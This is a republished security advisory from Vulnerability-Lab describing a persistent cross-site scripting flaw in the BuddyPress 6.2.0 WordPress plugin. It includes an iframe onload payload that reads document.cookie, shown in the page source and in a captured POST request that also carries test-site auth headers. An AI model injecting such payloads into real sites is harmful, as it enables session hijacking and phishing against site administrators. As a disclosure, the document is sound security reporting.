Wordpress plugin buddypress 6.2.0 persistent crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-11-17 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin buddypress 6.2.0 persistent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: WordPress Plugin Buddypress 6.2.0 - Persistent Cross-Site Scripting
# Exploit Author: Vulnerability-Lab
# Date: 2020-11-13
# Vendor Homepage: https://wordpress.org/plugins/buddypress/
# Version: 6.2.0

Document Title:
===============
Buddypress v6.2.0 WP Plugin - Persistent Web Vulnerability

References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2263

Release Date:
=============
2020-11-13

Vulnerability Laboratory ID (VL-ID):
====================================
2263

Common Vulnerability Scoring System:
====================================
4.2

Vulnerability Class:
====================
Cross Site Scripting - Persistent

Current Estimated Price:
========================
500€ - 1.000€

Product & Service Introduction:
===============================
Are you looking for modern, robust, and sophisticated social network
software? BuddyPress is a suite of components that are common
to a typical social network, and allows for great add-on features
through WordPress’s extensive plugin system. Aimed at site builders
& developers, BuddyPress is focused on ease of integration, ease of use,
and extensibility. It is deliberately powerful yet unbelievably
simple social network software, built by contributors to WordPress.

(Copy of the Homepage: https://wordpress.org/plugins/buddypress/ &
https://buddypress.org/download/ )

Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
xss web vulnerability in the Buddypress v6.2.0 plugin for wordpress.

Affected Product(s):
====================
Buddypress
Product: Buddypress v6.0.0 - v6.2.0 (Wordpress Plugin)

Vulnerability Disclosure Timeline:
==================================
2020-11-13: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Authentication Type:
====================
Restricted Authentication (Moderator Privileges)

User Interaction:
=================
No User Interaction

Disclosure Type:
================
Independent Security Research

Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the Buddypress v6.0.0 - v6.2.0 plugin for wordpress.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent vulnerability is located in the `wp:html` name parameter
of the `figure` content. Remote attackers with privileges
are able to inject own malicious persistent script code as input to
compromise the internal ui of the wordpress backend. The attacker
injects his code and in case the admin or other privileged user account
previews the content the code simple executes. The request method
to inject is POST and the attack vector is located on the application-side.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] wp:html

Vulnerable Parameter(s):
[+] figure

Affected Module(s):
[+] page_id=x&preview=true

Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attackers
with privilged user accounts without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.

PoC: Inject
https://test23.localhost:8000/wp-admin/post.php?post=6&action=edit

PoC: Execute
https://test23.localhost:8000/?page_id=6
https://test23.localhost:8000/?page_id=6&preview=true

PoC: Vulnerable Source
<div id="content" class="site-content">
<div class="wrap">
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">
<article id="post-6" class="post-6 page type-page status-draft hentry">
<header class="entry-header">
<h1 class="entry-title">Mitglieder</h1><span class="edit-link">
<a class="post-edit-link"
href="https://test23.localhost:8000/wp-admin/post.php?post=6&action=edit">
<span class="screen-reader-text">„Mitglieder“</span>
bearbeiten</a></span> </header>
<div class="entry-content">
<p></p>
<div class="wp-block-group"><div class="wp-block-group__inner-container">
<div class="wp-block-group"><div
class="wp-block-group__inner-container"></div></div>
</div></div>
<figure><iframe src="evil.source"
onload="alert(document.cookie)"></iframe></figure>
</div>
</article>
</main>
</div>
</div>
</div>

--- PoC Session Logs (POST) ---
https://test23.localhost:8000/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F6&_locale=user
Host: test23.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept: application/json, */*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://test23.localhost:8000/wp-admin/post.php?post=6&action=edit
X-WP-Nonce: 04a953e188
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: https://test23.localhost:8000
Content-Length: 614
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Cookie:
g3sid=bdbf56f2335bbce0720f03ed25343b66db61b54a%7E6a5nrndvh14i5kb09tfrl7afe2;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_55a3fb1cb724d159a111224c7f110400=admin_f507c7w4%7C1589912472%7CxTSn77nlwpdxYR8NUaJOXfQM9ShaBlSLzP7Anix
xNt8%7C557ca2874863d9f1f6a8316659798e11558a01ffc8671eea68d496aa5df99b17;
wp-settings-time-1=1589740723
{"id":6,"content":"n<p></p>nnnn<div class="wp-block-group">
<div class="wp-block-group__inner-container">n<div
class="wp-block-group"><div class="wp-block-group__inner-container">
</div></div>n</div></div>nnn
nnnn
n<figure><iframe src="evil.source"
onload="alert(document.cookie)"></iframe></figure>nnn"}
-
POST: HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate, max-age=0
Allow: GET, POST, PUT, PATCH, DELETE
Content-Type: application/json; charset=UTF-8
Vary: Origin
Server: Microsoft-IIS/8.5
X-Robots-Tag: noindex
Link: <https://test23.localhost:8000/index.php?rest_route=/>;
rel="https://api.w.org/"
Content-Length: 3108

References:
https://test23.localhost:8000/index.php
https://test23.localhost:8000/wp-admin/post.php

Security Risk:
==============
The security risk of the persistent input validation web vulnerability
in the web-application is estimated as medium.

Credits & Authors:
==================
Vulnerability-Lab [Research Team] -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

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=========================
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